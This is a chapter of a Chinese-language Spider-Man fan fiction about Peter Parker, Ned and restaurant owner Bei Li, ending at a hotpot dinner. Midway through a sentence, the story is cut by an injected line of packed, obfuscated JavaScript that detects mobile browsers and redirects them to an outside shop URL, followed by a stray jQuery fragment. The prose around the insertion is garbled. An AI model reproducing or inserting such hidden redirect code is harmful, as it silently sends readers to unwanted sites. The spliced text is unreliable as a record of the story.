“这没什么，晚上一起吃火锅吧？”
贝莉把秋裤也塞进他怀里：“这是两件套，你们管这叫long johns对吧？你别嫌它臃肿，它真的很保暖。我特意让我妈加厚了，贴身穿也不会扎……”
贝莉碎碎念。
彼得静静听。
他抱着那套衣服，脸上的表情从受宠若惊变成了一种更复杂的神情。
一个成为孤岛太久的人，连接纳好意都需要鼓足勇气，只是喉咙里那个“谢谢”已经说过一遍，再说就显得笨拙。于是他点了点头，小心翼翼地把衣服折好，放在楼梯口的干净凳子上。
奈德在旁边看着这一幕，忽然叹了口气：“我妈只会给我买那种印着名人名言的文化衫，而且，那些名言还经常是错的！”
贝莉拍拍他的肩：“下次也给你做一套。”
“真的吗？”奈德开心起来。
贝莉把剩下的腊味搬去后厨放好，回到前厅时，发现彼得还站在楼梯口，低头看着那件秋衣上的Q版头像，嘴角带着一种极浅极淡的笑意。
他伸出手，轻轻碰了碰那个绣上去的卷毛小人，像是怕把它碰坏了一样。
贝莉的心突然重重地跳了一拍。
下午，贝莉和奈德坐在靠窗的一桌，脑袋凑在一起看奈德手机上的“小蛛蛛在哪里”APP。
屏幕上是一张蜘蛛侠的模糊侧面照，是在布鲁克林大桥附近拍到的，战衣上的蛛纹在逆光里拉出长长的阴影。
“这拍得也太糊了。”贝莉点评。
“没办法，他移动速度太快，普通手机能拍到影子就不错了。”奈德叹气，“所以我特别羡慕你，能那么近距离看到他。”
“天哪，我要是有你一半的运气……”
两人越聊越投入，贝莉已经完全沉浸在回忆里，说起蜘蛛侠来眼睛都在发光。而奈德这个粉丝同盟更是添油加醋，两人一个说一个应，把蜘蛛侠形容得天上有地下无。
“我觉得蜘蛛侠最厉害的一点，就是他从来不求回报。”奈德认真地说，“你想想，在这个时代，哪个超级英雄不是一群公关团队跟着？只有他，独来独往，守护皇后区，多酷啊！”
“对！而且他一点架子都没有。”贝莉补充，“他跟我说话的时候，声音特别认真，我能感觉到他是真的在乎每一个普通人。那种温柔……我是说，那种守护感，真的没法用语言形容。”
“他要是开粉丝见面会，我第一个排队。”
“我也要，请你吃火锅的话，你能帮我抢到前排吗？”
“成交。”
两人越说越兴奋，已经开始规划起了“蜘蛛侠粉丝见面会”的流程，甚至还商量着要做应援手幅。奈德掏出手机，打开一个设计软件，开始认真挑选字体和颜色。
彼得强迫自己坐在原地没有逃跑，一杯冰水喝到一半，终于绷不住呛了一口。
他抬手擦着下巴上的水，脸色涨红，不知道是因为呛水，还是因为听不下去。
从十五岁开始当蜘蛛侠说起，某人最惨的时候断过好几根肋骨，穿着破洞的战衣和人干架却被单方面蹂躏，最终昏迷在光影交错的列车上，直到苏醒于荷兰农村的派出所里……
即便这样，在这两个人嘴里，他还能成为闪闪发光的完美偶像？
别以为他没见过网传的蜘蛛侠热舞视频！
彼得：汗流浃背了哈
“咳咳，蜘蛛侠也没你们说的那么好吧。”
他放下水杯，声音在两个粉丝的狂热讨论中显得格外突兀：“我是说，他肯定也犯过错，也许……还有很多人因为他受过伤。”
话一出口，他就后悔了。
奈德慢慢转过头来，脸上的笑容僵在嘴边。他眨了眨眼，语气困惑：“你刚才……是在说蜘蛛侠的坏话吗？”
彼得尽量让自己的语气听起来像在理性讨论：“我只是觉得你们把他捧得太高了，你们又不认识他，怎么知道他没有让人失望过？”
奈德放下手机，坐直了身体。
“我当然不认识他，但我知道他救了很多人。你知道皇后区的犯罪率因为他下降了多少吗？你知道他挡下了多少次差点伤到普通人的爆炸吗？你打开小蛛蛛在哪里APP看看，上面每天有多少条‘蜘蛛侠救了我的狗’‘蜘蛛侠帮我抢回了钱包’这样的帖子。”
“你说他没那么好，那请问，你做了什么？”
话音将落，餐馆里的空气陡然凝重。
贝莉完全愣住，她没想到奈德会说出这么重的话。她看向彼得，后者还坐在收银台旁，脸上没有任何表情，只是嘴唇微微抿紧。
“抱歉。”
他最终只是道出一句幽幽的抱歉。
奈德也意识到有些过了，他挠了挠后脑勺，语气软下来，但立场没有退让：“我没有冒犯你的意思……但是蜘蛛侠他不一样，你知道吗？”
“他是我见过的最……最了不起的人。”
“你说得对。”
彼得硬从脸上扯出来一点零星笑意：“我不了解他……也许他确实是个好人。”
他说完站起身来，把喝完水的杯子拿到水槽边，打开龙头冲了冲。
水声哗哗作响。
贝莉看着他的侧影，忽然觉得那个抱着秋衣露出孩子气笑容的彼得，在这一刻变得很远。
彼得内心情绪翻涌。
他当然知道蜘蛛侠救过很多人，也知道蜘蛛侠存在的意义。但是当所有人都在赞美蜘蛛侠的时候，那个藏在面具下面的、满身伤疤的彼得·帕克，似乎就真的不存在了。
蜘蛛侠那么好。
但彼得·帕克是谁？
他想起梅姨的墓碑，想起被遗忘的友情，想起那些再也回不去的日子。他拼了命去做的事情，在别人眼里是传说，是神话，是能让两个粉丝争相讨论一下午的光辉事迹。
可他从不是神话，他只是一个住在阁楼里被宿命遗忘的普通人。
但他甚至没有资格开口喊疼。
所以他只是站在水槽边，把那个洗好的杯子倒扣在沥水架上，然后转过身来，露出一个依旧有些木讷的笑：“你们继续聊。我先去把后院的门锁换了。”
贝莉站起身，想说“不着急”，但彼得已经推开后门走了出去。
门外吹进来的风轻轻掀动了收银台上那几张开业优惠券。贝莉看着他的背影消失在门后，又转头看向奈德。
奈德坐在那儿，鼓着脸不说话。
“……某人刚才好像有点过分哦。”
奈德把嘴里的甜甜圈咽下去，小声嘟囔：“是他先说蜘蛛侠不好的。”
“他又没有恶意。”
“我知道。”奈德叹了口气，肩膀垮下来，“我就是……我也不知道为什么，我对蜘蛛侠那么在意，我好像忘记了什么重要的事情。”
贝莉没再指责谁，她能理解奈德，她也同样把蜘蛛侠当成某种精神寄托。
想象一下吧！当你在异国他乡讨生活，每天都有面对油
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846728|211746||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
烟、账单、时好时坏的天气和半夜来砸店的劫匪。但无论今天多么糟糕，至少有一个会从天而降的超级英雄站在你这边。
哪怕只是一种虚幻的安全感，也足以让人撑过很多难熬的夜晚。
但彼得呢？
他也有资格被看见，不是吗？
贝莉坐回椅子里，轻轻叹了口气。
晚饭前，贝莉去后院看彼得。
后门的锁已经被拆了下来，新锁正被他一点点往上嵌。他做这种事情的时候出奇地专注，连贝莉走到身后都没发现。
“锁能修好吗？”
彼得“嗯”了一声，没有回头。
“刚才……奈德不是故意的。”
彼得的手停在半空中：“我知道。他是蜘蛛侠的粉丝，这很好。这很好。”
他连说了两遍“这很好”，像在说服自己。
贝莉忽然说：“你也很厉害。那些电器，我找人修过好几次都修不好，你一次就搞定了。”
“修电器没什么了不起的。”
“对我来说很有用。蜘蛛侠是很厉害，但他不会帮我修烤箱。你修好了烤箱，我才能继续烤叉烧，所以在我这里，你也很重要。”
彼得终于停下了手里的动作。
他慢慢回过头，看着站在夕光里的贝莉——他觉得自己好像被什么东西用力地击中了。
那种感觉缓慢，绵密，像有什么东西在他空荡荡的胸腔里一点点生根。
这时，奈德从门里探出脑袋，脸上的表情有些扭捏，看起来已经在心里排练了好几遍：“彼得，刚才我说的话，有点过分了。我道歉。”
彼得站起身，拍了拍膝盖上的灰，朝奈德露出一个真心的笑容：“你说得也没错。蜘蛛侠……确实挺厉害的。”
“你承认就好。”奈德立刻笑开了，走过来捶了捶彼得的肩膀，“咱俩算和好了，对吧？”
“算。”
晚上，贝莉摆了一桌火锅。
铜锅是父母从国内寄来的，用最传统的那种炭火加热，一半清汤一半红油，汤底翻涌起来的时候，整个店里都弥漫着一股让人五脏六腑都暖透了的香气。
贝莉切了满满一桌菜，肥牛、毛肚、黄喉、虾滑、藕片、冻豆腐，还有从国内寄来的川粉和豆皮。奈德看傻了眼：“这比我过生日吃得还丰盛。”
贝莉转头看向彼得，他正站在桌边，不太确定地盯着一盘黄喉看。
贝莉解释道：“那是牛的某个部位，你涮十秒就能吃。”
彼得谨慎地问：“哪个部位？”
“你吃了就知道了。”
彼得犹豫地夹起一片，照着贝莉说的在红油里涮了十秒，沾了麻酱送进嘴里。
两秒后，他的狗狗眼陡然瞪大。
“怎么样？”
“脆的。”彼得嚼了嚼，语气像发现了新大陆，“真的是脆的。这是什么？”
“你确定你想知道吗？”贝莉坏笑一声。
彼得嚼东西的速度慢了下来，脸上浮现出一种极其纠结的表情，但嘴巴已经诚实地咽了下去：“……还是不了。”
他正想说什么，但门口传来一阵清脆的风铃声，餐馆的门被推开了。
彼得下意识地抬头看过去。
门外走进来一个高挑的女生，一头微卷的深色长发，神情带着一种散漫又锐利的酷劲儿。
“嘿，奈德。”
“这就是你说的，火锅好吃到能让人忘记失恋的那家店？”